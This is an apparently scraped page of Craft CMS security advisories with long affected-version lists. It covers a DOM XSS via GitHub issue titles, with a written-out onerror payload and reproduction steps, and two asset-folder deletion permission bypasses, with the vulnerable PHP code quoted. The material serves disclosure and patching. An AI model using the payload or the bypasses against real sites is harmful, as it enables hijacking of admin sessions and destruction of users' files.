            4.17.15


            4.17.16


            4.17.2


            4.17.3


            4.17.4


            4.17.5


            4.17.6


            4.17.7


            4.17.8


            4.17.9


            4.2.0


            4.2.0.1


            4.2.0.2


            4.2.1


            4.2.1.1


            4.2.2


            4.2.3


            4.2.4


            4.2.5


            4.2.5.1


            4.2.5.2


            4.2.6


            4.2.7


            4.2.8


            4.3.0


            4.3.1


            4.3.10


            4.3.11


            4.3.2


            4.3.2.1


            4.3.3


            4.3.4


            4.3.5


            4.3.6


            4.3.6.1


            4.3.7


            4.3.7.1


            4.3.8


            4.3.8.1


            4.3.8.2


            4.3.9


            4.4.0


            4.4.0-beta.1


            4.4.0-beta.2


            4.4.0-beta.3


            4.4.0-beta.4


            4.4.0-beta.5


            4.4.0-beta.6


            4.4.0-beta.7


            4.4.1


            4.4.10


            4.4.10.1


            4.4.11


            4.4.12


            4.4.13


            4.4.14


            4.4.15


            4.4.16


            4.4.16.1


            4.4.17


            4.4.2


            4.4.3


            4.4.4


            4.4.5


            4.4.6


            4.4.6.1


            4.4.7


            4.4.7.1


            4.4.8


            4.4.9


            4.5.0


            4.5.0-beta.1


            4.5.0-beta.2


            4.5.1


            4.5.10


            4.5.11


            4.5.11.1


            4.5.12


            4.5.13


            4.5.14


            4.5.15


            4.5.2


            4.5.3


            4.5.4


            4.5.5


            4.5.6


            4.5.6.1


            4.5.7


            4.5.8


            4.5.9


            4.6.0


            4.6.0-RC1


            4.6.1


            4.7.0


            4.7.1


            4.7.2


            4.7.2.1


            4.7.3


            4.7.4


            4.8.0


            4.8.1


            4.8.10


            4.8.11


            4.8.2


            4.8.3


            4.8.4


            4.8.5


            4.8.6


            4.8.7


            4.8.8


            4.8.9


            4.9.0


            4.9.1


            4.9.2


            4.9.3


            4.9.4


            4.9.5


            4.9.6


            4.9.7


            5.0.0


            5.0.0-RC1


            5.0.1


            5.0.2


            5.0.3


            5.0.4


            5.0.5


            5.0.6


            5.1.0


            5.1.1


            5.1.10


            5.1.2


            5.1.3


            5.1.4


            5.1.5


            5.1.6


            5.1.7


            5.1.8


            5.1.9


            5.2.0


            5.2.0-beta.1


            5.2.0-beta.2


            5.2.0-beta.3


            5.2.0-beta.4


            5.2.0-beta.5


            5.2.0-beta.6


            5.2.1


            5.2.10


            5.2.2


            5.2.3


            5.2.4


            5.2.4.1


            5.2.5


            5.2.6


            5.2.7


            5.2.8


            5.2.9


            5.3.0


            5.3.0-beta.1


            5.3.0-beta.2


            5.3.0.1


            5.3.0.2


            5.3.0.3


            5.3.1


            5.3.2


            5.3.3


            5.3.4


            5.3.5


            5.3.6


            5.4.0


            5.4.0.1


            5.4.1


            5.4.10


            5.4.10.1


            5.4.2


            5.4.3


            5.4.4


            5.4.5


            5.4.5.1


            5.4.6


            5.4.7


            5.4.7.1


            5.4.8


            5.4.9


            5.5.0


            5.5.0.1


            5.5.1


            5.5.1.1


            5.5.10


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.5.6


            5.5.6.1


            5.5.7


            5.5.8


            5.5.9


            5.6.0


            5.6.0.1


            5.6.0.2


            5.6.1


            5.6.10


            5.6.10.1


            5.6.10.2


            5.6.11


            5.6.12


            5.6.13


            5.6.14


            5.6.15


            5.6.16


            5.6.17


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.5.1


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.6.9.1


            5.7.0


            5.7.0-beta.1


            5.7.0-beta.2


            5.7.1


            5.7.1.1


            5.7.10


            5.7.11


            5.7.2


            5.7.3


            5.7.4


            5.7.5


            5.7.6


            5.7.7


            5.7.8


            5.7.8.1


            5.7.8.2


            5.7.9


            5.8.0


            5.8.1


            5.8.10


            5.8.11


            5.8.12


            5.8.13


            5.8.13.1


            5.8.13.2


            5.8.14


            5.8.15


            5.8.16


            5.8.17


            5.8.18


            5.8.19


            5.8.2


            5.8.20


            5.8.21


            5.8.22


            5.8.23


            5.8.3


            5.8.4


            5.8.5


            5.8.6


            5.8.7


            5.8.8


            5.8.9


            5.9.0


            5.9.0-beta.1


            5.9.0-beta.2


            5.9.1


            5.9.10


            5.9.11


            5.9.12


            5.9.13


            5.9.14


            5.9.15


            5.9.16


            5.9.17


            5.9.18


            5.9.19


            5.9.2


            5.9.20


            5.9.21


            5.9.22


            5.9.23


            5.9.3


            5.9.4


            5.9.5


            5.9.6


            5.9.7


            5.9.8


            5.9.9

Fixed in


          4.18.0


          5.10.0

References

Updated Jul 06, 2026 · Source: OSV.dev

CVE-2026-55790 GHSA-24x4-j6x9-rfw5 Jul 06, 2026

Craft CMS: DOM XSS via GitHub issue title in CraftSupport widget

High

Network Low None

Summary

An attacker with only a GitHub account can plant a JavaScript payload in a craftcms/cms issue title. When a Craft admin uses the CraftSupport widget’s "Give feedback" screen and types a search term that returns the poisoned issue, the payload executes in the admin’s control panel session.

No control panel account or elevated privileges are required on the attacker’s side.

Preconditions

Attacker has a GitHub account (no control panel access needed).
Victim is an administrator, and you have the CraftSupport widget on the dashboard.
Victim uses the "Give feedback" screen and types a search term that returns the poisoned issue.

Root cause

CraftSupportWidget.js lines 382-392:

$('<a>', {
  href: this.getSearchResultUrl(results[i]),
  target: '_blank',
  html:
    '<span class="status ' +
    this.getSearchResultStatus(results[i]) +
    '"></span>' +
    this.getSearchResultText(results[i]),
})

FeedbackScreen.getSearchResultText (line 669-671) returns result.title verbatim from the GitHub API response. The jQuery html: option sets the element’s innerHTML, so a title containing <img src=x onerror=...> executes immediately on render.

The GitHub API returns issue titles as raw JSON strings with no HTML encoding. The widget makes this request directly from the browser, without a Craft proxy or any sanitization step.

HelpScreen (Stack Exchange) is not affected because the Stack Exchange API HTML-encodes titles before returning them.

Steps to reproduce

Plant (attacker, GitHub account only):

Open https://github.com/craftcms/cms/issues/new.
Set the title to a string combining a plausible search term and the payload, e.g.:

<img src=x onerror=alert(document.domain)> cannot upload files

Submit the issue.

Trigger (victim, Craft admin):

Open the Craft control panel dashboard.
Open the CraftSupport widget, click "Give feedback".
Type cannot upload files in the search box.
alert(document.domain) fires in the admin's session.

Impact

XSS in the admin control panel session. The payload has access to Craft.csrfTokenName and Craft.csrfTokenValue and can send same-origin action requests as the admin without any further interaction.

Mitigating factors

Victim must actively use the "Give feedback" search screen.
Attacker must predict or social-engineer a search term the admin will type, or use a broad term likely to match.
Widget is only available to admins.

Resources

https://github.com/craftcms/cms/commit/6bbb66038a268552180ca5c8eed9f46ea25a4417

Affected versions


          5.0.0


          5.0.0-RC1


          5.0.1


          5.0.2


          5.0.3


          5.0.4


          5.0.5


          5.0.6


          5.1.0


          5.1.1


          5.1.10


          5.1.2

+ 406 more


            5.1.3


            5.1.4


            5.1.5


            5.1.6


            5.1.7


            5.1.8


            5.1.9


            5.2.0


            5.2.0-beta.1


            5.2.0-beta.2


            5.2.0-beta.3


            5.2.0-beta.4


            5.2.0-beta.5


            5.2.0-beta.6


            5.2.1


            5.2.10


            5.2.2


            5.2.3


            5.2.4


            5.2.4.1


            5.2.5


            5.2.6


            5.2.7


            5.2.8


            5.2.9


            5.3.0


            5.3.0-beta.1


            5.3.0-beta.2


            5.3.0.1


            5.3.0.2


            5.3.0.3


            5.3.1


            5.3.2


            5.3.3


            5.3.4


            5.3.5


            5.3.6


            5.4.0


            5.4.0.1


            5.4.1


            5.4.10


            5.4.10.1


            5.4.2


            5.4.3


            5.4.4


            5.4.5


            5.4.5.1


            5.4.6


            5.4.7


            5.4.7.1


            5.4.8


            5.4.9


            5.5.0


            5.5.0.1


            5.5.1


            5.5.1.1


            5.5.10


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.5.6


            5.5.6.1


            5.5.7


            5.5.8


            5.5.9


            5.6.0


            5.6.0.1


            5.6.0.2


            5.6.1


            5.6.10


            5.6.10.1


            5.6.10.2


            5.6.11


            5.6.12


            5.6.13


            5.6.14


            5.6.15


            5.6.16


            5.6.17


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.5.1


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.6.9.1


            5.7.0


            5.7.0-beta.1


            5.7.0-beta.2


            5.7.1


            5.7.1.1


            5.7.10


            5.7.11


            5.7.2


            5.7.3


            5.7.4


            5.7.5


            5.7.6


            5.7.7


            5.7.8


            5.7.8.1


            5.7.8.2


            5.7.9


            5.8.0


            5.8.1


            5.8.10


            5.8.11


            5.8.12


            5.8.13


            5.8.13.1


            5.8.13.2


            5.8.14


            5.8.15


            5.8.16


            5.8.17


            5.8.18


            5.8.19


            5.8.2


            5.8.20


            5.8.21


            5.8.22


            5.8.23


            5.8.3


            5.8.4


            5.8.5


            5.8.6


            5.8.7


            5.8.8


            5.8.9


            5.9.0


            5.9.0-beta.1


            5.9.0-beta.2


            5.9.1


            5.9.10


            5.9.11


            5.9.12


            5.9.13


            5.9.14


            5.9.15


            5.9.16


            5.9.17


            5.9.18


            5.9.19


            5.9.2


            5.9.20


            5.9.21


            5.9.22


            5.9.3


            5.9.4


            5.9.5


            5.9.6


            5.9.7


            5.9.8


            5.9.9


            4.0.0


            4.0.0-RC1


            4.0.0-RC2


            4.0.0-RC3


            4.0.0.1


            4.0.1


            4.0.2


            4.0.3


            4.0.4


            4.0.5


            4.0.5.1


            4.0.5.2


            4.0.6


            4.1.0


            4.1.0.1


            4.1.0.2


            4.1.1


            4.1.2


            4.1.3


            4.1.4


            4.1.4.1


            4.10.0


            4.10.0-beta.1


            4.10.0-beta.2


            4.10.1


            4.10.2


            4.10.3


            4.10.4


            4.10.5


            4.10.6


            4.10.7


            4.10.8


            4.11.0


            4.11.0.1


            4.11.0.2


            4.11.1


            4.11.2


            4.11.3


            4.11.4


            4.11.5


            4.12.0


            4.12.1


            4.12.2


            4.12.3


            4.12.4


            4.12.4.1


            4.12.5


            4.12.6


            4.12.6.1


            4.12.7


            4.12.8


            4.12.9


            4.13.0


            4.13.1


            4.13.1.1


            4.13.10


            4.13.2


            4.13.3


            4.13.4


            4.13.5


            4.13.6


            4.13.7


            4.13.8


            4.13.9


            4.14.0


            4.14.0.1


            4.14.0.2


            4.14.1


            4.14.10


            4.14.11


            4.14.11.1


            4.14.12


            4.14.13


            4.14.14


            4.14.15


            4.14.2


            4.14.3


            4.14.4


            4.14.5


            4.14.6


            4.14.7


            4.14.8


            4.14.8.1


            4.14.9


            4.15.0


            4.15.0-beta.1


            4.15.0-beta.2


            4.15.0.1


            4.15.0.2


            4.15.1


            4.15.2


            4.15.3


            4.15.4


            4.15.5


            4.15.6


            4.15.6.1


            4.15.6.2


            4.15.7


            4.16.0


            4.16.1


            4.16.10


            4.16.11


            4.16.12


            4.16.13


            4.16.14


            4.16.15


            4.16.16


            4.16.17


            4.16.18


            4.16.19


            4.16.2


            4.16.3


            4.16.4


            4.16.5


            4.16.6


            4.16.6.1


            4.16.7


            4.16.8


            4.16.9


            4.16.9.1


            4.17.0


            4.17.0-beta.1


            4.17.0-beta.2


            4.17.1


            4.17.10


            4.17.11


            4.17.12


            4.17.13


            4.17.13.1


            4.17.14


            4.17.15


            4.17.2


            4.17.3


            4.17.4


            4.17.5


            4.17.6


            4.17.7


            4.17.8


            4.17.9


            4.2.0


            4.2.0.1


            4.2.0.2


            4.2.1


            4.2.1.1


            4.2.2


            4.2.3


            4.2.4


            4.2.5


            4.2.5.1


            4.2.5.2


            4.2.6


            4.2.7


            4.2.8


            4.3.0


            4.3.1


            4.3.10


            4.3.11


            4.3.2


            4.3.2.1


            4.3.3


            4.3.4


            4.3.5


            4.3.6


            4.3.6.1


            4.3.7


            4.3.7.1


            4.3.8


            4.3.8.1


            4.3.8.2


            4.3.9


            4.4.0


            4.4.0-beta.1


            4.4.0-beta.2


            4.4.0-beta.3


            4.4.0-beta.4


            4.4.0-beta.5


            4.4.0-beta.6


            4.4.0-beta.7


            4.4.1


            4.4.10


            4.4.10.1


            4.4.11


            4.4.12


            4.4.13


            4.4.14


            4.4.15


            4.4.16


            4.4.16.1


            4.4.17


            4.4.2


            4.4.3


            4.4.4


            4.4.5


            4.4.6


            4.4.6.1


            4.4.7


            4.4.7.1


            4.4.8


            4.4.9


            4.5.0


            4.5.0-beta.1


            4.5.0-beta.2


            4.5.1


            4.5.10


            4.5.11


            4.5.11.1


            4.5.12


            4.5.13


            4.5.14


            4.5.15


            4.5.2


            4.5.3


            4.5.4


            4.5.5


            4.5.6


            4.5.6.1


            4.5.7


            4.5.8


            4.5.9


            4.6.0


            4.6.0-RC1


            4.6.1


            4.7.0


            4.7.1


            4.7.2


            4.7.2.1


            4.7.3


            4.7.4


            4.8.0


            4.8.1


            4.8.10


            4.8.11


            4.8.2


            4.8.3


            4.8.4


            4.8.5


            4.8.6


            4.8.7


            4.8.8


            4.8.9


            4.9.0


            4.9.1


            4.9.2


            4.9.3


            4.9.4


            4.9.5


            4.9.6


            4.9.7

Fixed in


          4.17.16


          5.9.23

References

Updated Jul 06, 2026 · Source: OSV.dev

CVE-2026-50282 GHSA-3w32-23wj-rxg3 Jul 02, 2026

Craft CMS Vulnerable to Unauthorized Deletion of Destination Folders During Forced Moves

High

Network Low Low None

We have identified an authorization issue in Craft CMS where a forced folder move can delete a conflicting destination folder without destination delete permission.

Description

Craft CMS’s craft\\controllers\\AssetsController::actionMoveFolder() supports moving an asset folder into a destination parent folder. If a folder with the same name already exists at the destination, the action can be called with force=true to overwrite the destination.

The permission checks for this action allow:

deleteAssets:<sourceVolumeUid> for the folder being moved
createFolders:<destVolumeUid> for the destination parent folder
saveAssets:<destVolumeUid> for the destination parent folder

The action does not require deleteAssets on the destination volume or destination conflict folder. When force=true and a name conflict exists, the code deletes the destination folder to resolve the conflict.

$this->requireVolumePermissionByFolder('deleteAssets', $folderToMove);
$this->requireVolumePermissionByFolder('createFolders', $destinationFolder);
$this->requireVolumePermissionByFolder('saveAssets', $destinationFolder);

src/controllers/AssetsController.php:L751-L753

Indexed destination conflicts are deleted via the Assets service:

$assets->deleteFoldersByIds($existingFolder->id);

src/controllers/AssetsController.php:L798-L798

Unindexed destination conflicts are deleted directly in the volume filesystem:

$targetVolume->deleteDirectory(rtrim($destinationFolder->path, '/') . '/' . $folderToMove->name);

src/controllers/AssetsController.php:L815

Impact

A user who cannot delete assets in a destination volume can still delete a destination folder and its contents by triggering a forced move into a conflicting name. This can cause asset loss, broken references in entries and fields that point to deleted assets, and operational disruption.

Affected versions


          5.0.0


          5.0.0-RC1


          5.0.1


          5.0.2


          5.0.3


          5.0.4


          5.0.5


          5.0.6


          5.1.0


          5.1.1


          5.1.10


          5.1.2

+ 402 more


            5.1.3


            5.1.4


            5.1.5


            5.1.6


            5.1.7


            5.1.8


            5.1.9


            5.2.0


            5.2.0-beta.1


            5.2.0-beta.2


            5.2.0-beta.3


            5.2.0-beta.4


            5.2.0-beta.5


            5.2.0-beta.6


            5.2.1


            5.2.10


            5.2.2


            5.2.3


            5.2.4


            5.2.4.1


            5.2.5


            5.2.6


            5.2.7


            5.2.8


            5.2.9


            5.3.0


            5.3.0-beta.1


            5.3.0-beta.2


            5.3.0.1


            5.3.0.2


            5.3.0.3


            5.3.1


            5.3.2


            5.3.3


            5.3.4


            5.3.5


            5.3.6


            5.4.0


            5.4.0.1


            5.4.1


            5.4.10


            5.4.10.1


            5.4.2


            5.4.3


            5.4.4


            5.4.5


            5.4.5.1


            5.4.6


            5.4.7


            5.4.7.1


            5.4.8


            5.4.9


            5.5.0


            5.5.0.1


            5.5.1


            5.5.1.1


            5.5.10


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.5.6


            5.5.6.1


            5.5.7


            5.5.8


            5.5.9


            5.6.0


            5.6.0.1


            5.6.0.2


            5.6.1


            5.6.10


            5.6.10.1


            5.6.10.2


            5.6.11


            5.6.12


            5.6.13


            5.6.14


            5.6.15


            5.6.16


            5.6.17


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.5.1


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.6.9.1


            5.7.0


            5.7.0-beta.1


            5.7.0-beta.2


            5.7.1


            5.7.1.1


            5.7.10


            5.7.11


            5.7.2


            5.7.3


            5.7.4


            5.7.5


            5.7.6


            5.7.7


            5.7.8


            5.7.8.1


            5.7.8.2


            5.7.9


            5.8.0


            5.8.1


            5.8.10


            5.8.11


            5.8.12


            5.8.13


            5.8.13.1


            5.8.13.2


            5.8.14


            5.8.15


            5.8.16


            5.8.17


            5.8.18


            5.8.19


            5.8.2


            5.8.20


            5.8.21


            5.8.22


            5.8.23


            5.8.3


            5.8.4


            5.8.5


            5.8.6


            5.8.7


            5.8.8


            5.8.9


            5.9.0


            5.9.0-beta.1


            5.9.0-beta.2


            5.9.1


            5.9.10


            5.9.11


            5.9.12


            5.9.13


            5.9.14


            5.9.15


            5.9.16


            5.9.17


            5.9.18


            5.9.19


            5.9.2


            5.9.20


            5.9.3


            5.9.4


            5.9.5


            5.9.6


            5.9.7


            5.9.8


            5.9.9


            4.0.0


            4.0.0-RC1


            4.0.0-RC2


            4.0.0-RC3


            4.0.0.1


            4.0.1


            4.0.2


            4.0.3


            4.0.4


            4.0.5


            4.0.5.1


            4.0.5.2


            4.0.6


            4.1.0


            4.1.0.1


            4.1.0.2


            4.1.1


            4.1.2


            4.1.3


            4.1.4


            4.1.4.1


            4.10.0


            4.10.0-beta.1


            4.10.0-beta.2


            4.10.1


            4.10.2


            4.10.3


            4.10.4


            4.10.5


            4.10.6


            4.10.7


            4.10.8


            4.11.0


            4.11.0.1


            4.11.0.2


            4.11.1


            4.11.2


            4.11.3


            4.11.4


            4.11.5


            4.12.0


            4.12.1


            4.12.2


            4.12.3


            4.12.4


            4.12.4.1


            4.12.5


            4.12.6


            4.12.6.1


            4.12.7


            4.12.8


            4.12.9


            4.13.0


            4.13.1


            4.13.1.1


            4.13.10


            4.13.2


            4.13.3


            4.13.4


            4.13.5


            4.13.6


            4.13.7


            4.13.8


            4.13.9


            4.14.0


            4.14.0.1


            4.14.0.2


            4.14.1


            4.14.10


            4.14.11


            4.14.11.1


            4.14.12


            4.14.13


            4.14.14


            4.14.15


            4.14.2


            4.14.3


            4.14.4


            4.14.5


            4.14.6


            4.14.7


            4.14.8


            4.14.8.1


            4.14.9


            4.15.0


            4.15.0-beta.1


            4.15.0-beta.2


            4.15.0.1


            4.15.0.2


            4.15.1


            4.15.2


            4.15.3


            4.15.4


            4.15.5


            4.15.6


            4.15.6.1


            4.15.6.2


            4.15.7


            4.16.0


            4.16.1


            4.16.10


            4.16.11


            4.16.12


            4.16.13


            4.16.14


            4.16.15


            4.16.16


            4.16.17


            4.16.18


            4.16.19


            4.16.2


            4.16.3


            4.16.4


            4.16.5


            4.16.6


            4.16.6.1


            4.16.7


            4.16.8


            4.16.9


            4.16.9.1


            4.17.0


            4.17.0-beta.1


            4.17.0-beta.2


            4.17.1


            4.17.10


            4.17.11


            4.17.12


            4.17.13


            4.17.13.1


            4.17.2


            4.17.3


            4.17.4


            4.17.5


            4.17.6


            4.17.7


            4.17.8


            4.17.9


            4.2.0


            4.2.0.1


            4.2.0.2


            4.2.1


            4.2.1.1


            4.2.2


            4.2.3


            4.2.4


            4.2.5


            4.2.5.1


            4.2.5.2


            4.2.6


            4.2.7


            4.2.8


            4.3.0


            4.3.1


            4.3.10


            4.3.11


            4.3.2


            4.3.2.1


            4.3.3


            4.3.4


            4.3.5


            4.3.6


            4.3.6.1


            4.3.7


            4.3.7.1


            4.3.8


            4.3.8.1


            4.3.8.2


            4.3.9


            4.4.0


            4.4.0-beta.1


            4.4.0-beta.2


            4.4.0-beta.3


            4.4.0-beta.4


            4.4.0-beta.5


            4.4.0-beta.6


            4.4.0-beta.7


            4.4.1


            4.4.10


            4.4.10.1


            4.4.11


            4.4.12


            4.4.13


            4.4.14


            4.4.15


            4.4.16


            4.4.16.1


            4.4.17


            4.4.2


            4.4.3


            4.4.4


            4.4.5


            4.4.6


            4.4.6.1


            4.4.7


            4.4.7.1


            4.4.8


            4.4.9


            4.5.0


            4.5.0-beta.1


            4.5.0-beta.2


            4.5.1


            4.5.10


            4.5.11


            4.5.11.1


            4.5.12


            4.5.13


            4.5.14


            4.5.15


            4.5.2


            4.5.3


            4.5.4


            4.5.5


            4.5.6


            4.5.6.1


            4.5.7


            4.5.8


            4.5.9


            4.6.0


            4.6.0-RC1


            4.6.1


            4.7.0


            4.7.1


            4.7.2


            4.7.2.1


            4.7.3


            4.7.4


            4.8.0


            4.8.1


            4.8.10


            4.8.11


            4.8.2


            4.8.3


            4.8.4


            4.8.5


            4.8.6


            4.8.7


            4.8.8


            4.8.9


            4.9.0


            4.9.1


            4.9.2


            4.9.3


            4.9.4


            4.9.5


            4.9.6


            4.9.7

Fixed in


          4.17.14


          5.9.21

References

Updated Jul 02, 2026 · Source: OSV.dev

CVE-2026-50284 GHSA-7h62-6v23-v8fm Jul 02, 2026

Craft CMS: Missing peer-permission check in `AssetsController::actionDeleteFolder` allows deletion of other users' assets

High

Network Low Low None

Summary

AssetsController::actionDeleteFolder() only requires the deleteAssets:<volume-uid> permission for the target folder. It never enforces deletePeerAssets:<volume-uid>, even though Assets::deleteFoldersByIds() cascades deletion to every descendant folder and every asset inside, regardless of who uploaded them. A low-privilege user who has been granted folder-management rights on a shared volume can therefore destroy assets uploaded by other users (peer assets), bypassing the per-asset peer-permission check that the sibling actionDeleteAsset endpoint correctly applies.

This is the same bug class that was just fixed in actionMoveFolder as GHSA-3w32-23wj-rxg3 (commit 05c2042, Apr 23 2026); the fix added requireVolumePermissionByFolder('deletePeerAssets', …) and savePeerAssets checks to the move endpoint but did not propagate to the delete-folder endpoint.

Details

src/controllers/AssetsController.php:552-569:

public function actionDeleteFolder(): Response
{
    $this->requireAcceptsJson();
    $folderId = $this->request->getRequiredBodyParam('folderId');

    $assets = Craft::$app->getAssets();
    $folder = $assets->getFolderById($folderId);

    if (!$folder) {
        throw new BadRequestHttpException('The folder cannot be found');
    }

    // Check if it's possible to delete objects in the target volume.
    $this->requireVolumePermissionByFolder('deleteAssets', $folder); // <-- only checks deleteAssets
    $assets->deleteFoldersByIds($folderId);

    return $this->asSuccess();
}

requireVolumePermissionByFolder() (src/controllers/AssetsControllerTrait.php:75-88) only resolves to a single requirePermission('deleteAssets:<vol-uid>') call. The peer-equivalent helper (requirePeerVolumePermissionByAsset) is never invoked because there is no folder-level peer helper that iterates the folder's contents.

Assets::deleteFoldersByIds() (src/services/Assets.php:311-349) then enumerates the folder + every descendant folder, queries every asset under those IDs, and calls Craft::$app->getElements()->deleteElement($asset, true) directly:

$assetQuery = Asset::find()->folderId($allFolderIds);
$elementService = Craft::$app->getElements();

foreach (Db::each($assetQuery) as $asset) {
    $asset->keepFileOnDelete = !$deleteDir;
    $elementService->deleteElement($asset, true);
}

This bypasses Asset::canDelete() (src/elements/Asset.php:1515-1536):

public function canDelete(User $user): bool
{
    if ($this->isFolder) { return false; }
    if (parent::canDelete($user)) { return true; }
    $volume = $this->getVolume();
    if (Assets::isTempUploadFs($volume->getFs())) { return true; }

    if ($this->uploaderId !== $user->id) {
        return $user->can("deletePeerAssets:$volume->uid"); // <-- never reached on cascade delete
    }
    return $user->can("deleteAssets:$volume->uid");
}

Compare to actionDeleteAsset (src/controllers/AssetsController.php:579-613), which correctly does:

$this->requireVolumePermissionByAsset('deleteAssets', $asset);
$this->requirePeerVolumePermissionByAsset('deletePeerAssets', $asset);

The fix that landed in 05c2042 for actionMoveFolder (src/controllers/AssetsController.php:733-765) added both savePeerAssets and deletePeerAssets requireVolumePermissionByFolder checks to mirror the per-asset pattern, but the same hardening was not applied to actionDeleteFolder or actionRenameFolder (which also calls deleteFoldersByIds indirectly through later logic).

The asymmetry between the two endpoints demonstrates the missing check.

Impact

Integrity / availability of other users' assets on any volume where the attacker has deleteAssets but not deletePeerAssets: the attacker can permanently delete peer-owned files (and their parent folder structure) on the underlying filesystem, with no recovery via Craft's UI.
The Craft permission model explicitly distinguishes "delete your own assets" (deleteAssets) from "delete other users' assets" (deletePeerAssets) precisely so administrators can grant the former without the latter on shared volumes — this finding renders that distinction unenforceable for any user given folder-delete rights.
No information disclosure or remote code execution; impact is bounded to the affected volume's contents.
Does not require any non-default configuration: the affected endpoint is enabled by default and only requires that an administrator has split deleteAssets from deletePeerAssets (the documented, supported permission model).

Affected versions


          5.0.0


          5.0.0-RC1


          5.0.1


          5.0.2


          5.0.3


          5.0.4


          5.0.5


          5.0.6


          5.1.0


          5.1.1


          5.1.10


          5.1.2

+ 404 more


            5.1.3


            5.1.4


            5.1.5


            5.1.6


            5.1.7


            5.1.8


            5.1.9


            5.2.0


            5.2.0-beta.1


            5.2.0-beta.2


            5.2.0-beta.3


            5.2.0-beta.4


            5.2.0-beta.5


            5.2.0-beta.6


            5.2.1


            5.2.10


            5.2.2


            5.2.3


            5.2.4


            5.2.4.1


            5.2.5


            5.2.6


            5.2.7


            5.2.8


            5.2.9


            5.3.0


            5.3.0-beta.1


            5.3.0-beta.2


            5.3.0.1


            5.3.0.2


            5.3.0.3


            5.3.1


            5.3.2


            5.3.3


            5.3.4


            5.3.5


            5.3.6


            5.4.0


            5.4.0.1


            5.4.1


            5.4.10


            5.4.10.1


            5.4.2


            5.4.3


            5.4.4


            5.4.5


            5.4.5.1


            5.4.6


            5.4.7


            5.4.7.1


            5.4.8


            5.4.9


            5.5.0


            5.5.0.1


            5.5.1


            5.5.1.1


            5.5.10


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.5.6


            5.5.6.1


            5.5.7


            5.5.8


            5.5.9


            5.6.0


            5.6.0.1


            5.6.0.2


            5.6.1


            5.6.10


            5.6.10.1


            5.6.10.2


            5.6.11


            5.6.12


            5.6.13


            5.6.14


            5.6.15


            5.6.16


            5.6.17


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.5.1


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.6.9.1


            5.7.0


            5.7.0-beta.1


            5.7.0-beta.2


            5.7.1


            5.7.1.1


            5.7.10


            5.7.11


            5.7.2


            5.7.3


            5.7.4


            5.7.5


            5.7.6


            5.7.7


            5.7.8


            5.7.8.1


            5.7.8.2


            5.7.9


            5.8.0


            5.8.1


            5.8.10


            5.8.11


            5.8.12


            5.8.13


            5.8.13.1


            5.8.13.2


            5.8.14


            5.8.15


            5.8.16


            5.8.17


            5.8.18


            5.8.19


            5.8.2


            5.8.20


            5.8.21


            5.8.22


            5.8.23


            5.8.3


            5.8.4


            5.8.5


            5.8.6


            5.8.7


            5.8.8


            5.8.9


            5.9.0


            5.9.0-beta.1


            5.9.0-beta.2


            5.9.1


            5.9.10


            5.9.11


            5.9.12


            5.9.13


            5.9.14


            5.9.15


            5.9.16


            5.9.17


            5.9.18


            5.9.19


            5.9.2


            5.9.20


            5.9.21


            5.9.3


            5.9.4


            5.9.5


            5.9.6


            5.9.7


            5.9.8


            5.9.9


            4.0.0


            4.0.0-RC1


            4.0.0-RC2


            4.0.0-RC3


            4.0.0.1


            4.0.1


            4.0.2


            4.0.3


            4.0.4


            4.0.5


            4.0.5.1


            4.0.5.2


            4.0.6


            4.1.0


            4.1.0.1


            4.1.0.2


            4.1.1


            4.1.2


            4.1.3


            4.1.4


            4.1.4.1


            4.10.0


            4.10.0-beta.1


            4.10.0-beta.2


            4.10.1


            4.10.2


            4.10.3


            4.10.4


            4.10.5


            4.10.6


            4.10.7


            4.10.8


            4.11.0


            4.11.0.1


            4.11.0.2


            4.11.1


            4.11.2


            4.11.3


            4.11.4


            4.11.5


            4.12.0


            4.12.1


            4.12.2


            4.12.3


            4.12.4


            4.12.4.1


            4.12.5


            4.12.6


            4.12.6.1


            4.12.7


            4.12.8


            4.12.9


            4.13.0


            4.13.1


            4.13.1.1


            4.13.10


            4.13.2


            4.13.3


            4.13.4


            4.13.5


            4.13.6


            4.13.7


            4.13.8


            4.13.9


            4.14.0


            4.14.0.1


            4.14.0.2


            4.14.1


            4.14.10


            4.14.11


            4.14.11.1


            4.14.12


            4.14.13


            4.14.14


            4.14.15


            4.14.2


            4.14.3


            4.14.4


            4.14.5


            4.14.6


            4.14.7


            4.14.8


            4.14.8.1


            4.14.9


            4.15.0


            4.15.0-beta.1


            4.15.0-beta.2


            4.15.0.1


            4.15.0.2


            4.15.1


            4.15.2


            4.15.3


            4.15.4


            4.15.5


            4.15.6


            4.15.6.1


            4.15.6.2


            4.15.7


            4.16.0


            4.16.1


            4.16.10


            4.16.11


            4.16.12


            4.16.13


            4.16.14


            4.16.15


            4.16.16


            4.16.17


            4.16.18


            4.16.19


            4.16.2


            4.16.3


            4.16.4


            4.16.5


            4.16.6


            4.16.6.1


            4.16.7


            4.16.8


            4.16.9


            4.16.9.1


            4.17.0


            4.17.0-beta.1


            4.17.0-beta.2


            4.17.1


            4.17.10


            4.17.11


            4.17.12


            4.17.13


            4.17.13.1


            4.17.14


            4.17.2


            4.17.3


            4.17.4


            4.17.5


            4.17.6


            4.17.7


            4.17.8


            4.17.9


            4.2.0


            4.2.0.1


            4.2.0.2


            4.2.1


            4.2.1.1


            4.2.2


            4.2.3


            4.2.4


            4.2.5


            4.2.5.1


            4.2.5.2


            4.2.6


            4.2.7


            4.2.8


            4.3.0


            4.3.1


            4.3.10


            4.3.11


            4.3.2


            4.3.2.1


            4.3.3


            4.3.4


            4.3.5


            4.3.6


            4.3.6.1


            4.3.7


            4.3.7.1


            4.3.8


            4.3.8.1


            4.3.8.2


            4.3.9


            4.4.0


            4.4.0-beta.1


            4.4.0-beta.2


            4.4.0-beta.3


            4.4.0-beta.4


            4.4.0-beta.5


            4.4.0-beta.6


            4.4.0-beta.7


            4.4.1


            4.4.10


            4.4.10.1


            4.4.11


            4.4.12


            4.4.13


            4.4.14


            4.4.15


            4.4.16


            4.4.16.1


            4.4.17


